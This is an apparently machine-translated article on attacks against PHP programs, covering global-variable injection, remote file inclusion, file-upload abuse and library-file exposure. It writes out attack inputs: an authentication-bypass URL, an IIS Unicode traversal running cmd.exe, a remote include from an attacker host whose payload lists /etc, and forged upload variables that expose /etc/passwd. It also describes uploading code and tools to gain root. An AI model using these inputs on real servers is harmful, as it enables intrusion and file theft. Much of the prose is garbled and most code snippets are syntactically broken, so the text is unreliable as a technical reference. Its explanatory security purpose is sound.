Analysis of common Vulnerability attacks in PHP programs

Summary: PHP program is not impregnable, with the wide use of PHP, some hackers also do not want to find PHP in the trouble, through the PHP Program vulnerability attack is one of them. In the section, we will analyze PHP security from global variables, remote files, file uploads, library files, session files, data types, and error-prone functions.

How do I attack through global variables?

Variables in PHP do not need to be declared in advance, they are created automatically the first time they are used, and their types are automatically determined according to the context environment. From a programmer's point of view, this is an extremely convenient way of handling. Once a variable is created, it can be used anywhere in the program. The result of this feature is that programmers rarely initialize variables.

Obviously, the main function of a PHP based application is generally to accept user input (mainly form variables, upload files and cookies, etc.), then process the input data and return the results to the client browser. In order for the PHP code to access the user's input as easily as possible, PHP is actually treating these input data as a global variable.

For example:




<form method= "Get" action= "test.php"
<input type= "TEXT" name= "Hello"
<input type= "SUBMIT" >
</FORM>




This displays a text box and a Submit button. When the user clicks the Submit button, "test.php" handles the user's input, and when "test.php" runs, "$hello" contains the data that the user entered in the text box. From here we should see that attackers can create arbitrary global variables as they wish. If the attacker does not call "test.php" through form input, but instead enters Http://server/test.php?hello=hi&setup=no directly in the browser address bar, then more than just "$hello" is created, "$setup "has also been created.

The following user authentication code exposes the security problems caused by the global variables of PHP:




<?php
if ($pass = = "Hello")
$auth = 1;
...
if ($auth = = 1)
echo "Some important information";
? >




The above code first checks whether the user's password is "Hello", if match, set "$auth" to "1", that is, through authentication. Then, if "$suth" is "1", some important information will be displayed.

This code assumes that "$auth" is empty when no value is set, but that an attacker can create any global variable and assign a value, and by means of a similar "http://server/test.php?auth=1" method, we can completely spoof this code to make it believe that we are authenticated.

Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not explicitly defined. If there are many variables in the program, this is a very difficult task.

A common protection is to check the variables in the array http_get[] or post_vars[], depending on the way we commit (get or post). When PHP is configured to open the "track_vars" option (which is the default), the user-submitted variables can be obtained in the global variable and in the array mentioned above.

But it's worth noting that PHP has four different array variables to handle user input. The Http_get_vars array is used to handle the variables submitted by the Get method, the Http_post_vars array is used to handle the variables submitted by POST, and the Http_cookie_vars array is used to process variables submitted as COOKIE headers, and for HTTP_ The post_files array, which is provided by the newer PHP, is entirely an alternative way for users to submit variables. A user request can easily put variables in these four arrays, so a secure PHP program should check these four arrays. How do I attack from a remote file?

PHP is a rich language and provides a number of functions that make it easy for programmers to implement specific functions. But from a security standpoint, the more features there are, the harder it is to secure it, and the remote file is a good example of this problem:




<?php
if (!) ( $FD = fopen ("$filename", "R"))
Echo ("Could not open file: $filename
n ");
? >




The above script attempts to open the file "$filename" and displays an error message if it fails. Obviously, if we can specify "$filename", we can use this script to browse any file in the system. However, there is a less obvious feature of this script, which is that it can read files from any other Web or FTP site. In fact, most of the file processing functions of PHP are transparent to the processing of remote files.

For example:

If you specify "$filename" as "Http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"

The above code actually executes the dir command using a Unicode vulnerability on host target. This enables the include (), require (), include_once () and require_once () of remote files to become more interesting in the context. These functions are primarily used to contain the contents of the specified file and to interpret them in the PHP code, mainly on the library file.

For example:




<?php
Include ($libdir. "/languages.php");
? >




In the example above, "$libdir" is typically a path that has been set before the code is executed, and if an attacker can make "$libdir" not set, then he can change the path. But attackers cannot do anything because they can only access file languages.php in the path they specify (the "Poisonnull byte" attack in Perl has no effect on PHP). But with support for remote files, an attacker can do anything. For example, an attacker could place a file languages.php on a server containing the following:




<?php
PassThru ("/bin/ls/etc");
? >




The "$libdir" is then set to "http://<evilhost>/" so that we can execute the above attack code on the target host, and the contents of the "/etc" directory will be returned to the customer's browser as a result.

It should be noted that the attack code does not execute its own PHP program on its own server (i.e. evilhost), otherwise the attack code attacks its own server instead of executing on the target server.

How do I attack through file uploads?

PHP automatically supports file uploads based on RFC 1867, let's look at the following example:




<form method= "POST" enctype= "Multipart/form-data"
<input type= "FILE" name= "Hello"
<input type= "HIDDEN" name= "max_file_size" value= "10240"
<input type= "SUBMIT" >
</FORM>




The above code allows the user to select a file from the local machine, and the file is uploaded to the server when the submission is clicked. This is obviously a useful feature, but the way PHP responds will make this feature unsafe. When PHP first receives this request, and even before it starts parsing the invoked PHP code, it accepts the remote user's file, checking whether the file is longer than the value defined by the "$MAX _file_size variable", if you pass these tests, The file will be present in a local temporary directory.
As a result, an attacker could send arbitrary files to the host running PHP, and the file was already on the server when the PHP program had not yet decided whether to accept the file upload.

Let's consider the PHP program that handles file uploads, as we said above, that the file is received and exists on the server (the location is specified in the configuration file, generally/tmp), and the extension is generally random, similar to the "Phpxxuoxg" form. The PHP program needs to upload information about the file to handle it, which can be done in two ways, one in the PHP3, and the other in the security bulletin we put in the previous method.

Most PHP programs still use the old way to process uploaded files. PHP set up four global variables to describe the uploaded file, such as the above example:




$hello = Filename on the local machine (e.g "/TMP/PHPXXUOXG")
$hello _size = size in bytes of file (e.g 1024)
$hello _name = The original name of the file on the remote system (e.g "C:\temp\hello.txt")
$hello _type = Mime type of uploaded file (e.g "Text/plain")




The PHP program then starts processing files that are specified according to "$hello." The problem is that "$hello" is not necessarily a variable in PHP settings, and any remote user can specify it. If we use the following method:




Http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=
Text/plain&hello_name=hello.txt




leads to the following PHP global variable (and, of course, the post can be (or even a cookie)):




$hello = "/etc/passwd"
$hello _size = 10240
$hello _type = "Text/plain"
$hello _name = "Hello.txt"




The above form data just satisfies the PHP program's expected variables, but then the PHP program no longer deals with uploaded files that should be on the upload's computer, but instead handles "/etc/passwd" (which usually results in content exposure) files on the server. This attack can be used to expose the contents of any sensitive file.

The new version of PHP uses http_post_files[] to decide which files to upload, as well as a number of functions to solve the problem, such as a function to determine whether a file is actually contained in a file. But there are certainly a lot of PHP programs that still use the old method, so they are vulnerable to this attack.

As a variant of the attack method for file uploads, let's take a look at the following code:




<?php
if (file_exists ($theme))//Checks the file exists on the local system (noremote files)
Include ("$theme");
? >




If an attacker can control "$theme", it is clear that it can use "$theme" to read any file on the remote system. The attacker's ultimate goal was to execute arbitrary instructions on the remote server, but he was unable to use the remote file, so he had to create a PHP file on the remote server. This may seem impossible at first glance, but file uploads help us if an attacker first creates a file containing PHP code on the local machine and then creates a form that contains a file field named "Theme." Finally, using this form to upload the created file containing the PHP code to the above code, PHP saves the file the attacker submitted and sets the value of "$theme" to the attacker's file, so the file_exists () function checks through. The attacker's code will also execute.
After acquiring the ability to execute arbitrary instructions, the attacker apparently wanted to elevate permissions or gain more, which in turn required a set of tools not available on the server, and the file upload once again helped the attacker. Attackers can upload tools using the File upload feature, put them on the server, and then take advantage of their ability to execute instructions, use chmod () to change file permissions, and then execute. For example, an attacker could upload a local root attack program bypassing a firewall or IDs, and then execute it, thus obtaining root privileges.

How do I attack through a library file?

As we discussed earlier, include () and require () are primarily designed to support code libraries, because we typically put some of the functions that are often used in a separate file, which is the code base, and when you need to use the functions in it, We just need to include this code library in the current file.

Initially, when people developed and published PHP programs, in order to distinguish between code base and main program code, they typically set an ". Inc" extension for the code base file, but they quickly discovered that this was a mistake because such a file could not be correctly parsed into PHP code by the PHP interpreter. If we directly request this file on the server, we will get the source code of the file, because when PHP is used as an Apache module, the PHP interpreter is based on the file extension to determine whether to parse the PHP code. The extension is specified by the site administrator, typically ". php", ". PhP3" and ". PhP4". If important configuration data is contained in a PHP file that does not have a suitable extension, it is easy for a remote attacker to get this information.

The easiest way to do this is to specify a php file extension for each file. This is a good way to prevent leaks from the source code, but it creates a new problem that, by requesting this file, an attacker could run the code that was supposed to run in the context, which could lead to all the attacks discussed earlier.

Here is an obvious example:




In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
Include ("$libdir/loadlanguage.php":
? >

In libdir/loadlanguage.php:
<?php
...

Include ("$langDir/$userLang");
? >




It is quite secure when "libdir/loadlanguage.php" is called "main.php", but because "libdir/loadlanguage" has an extension of ". PHP", remote attackers can request this file directly, And you can specify the values of $langDir and $userLang arbitrarily.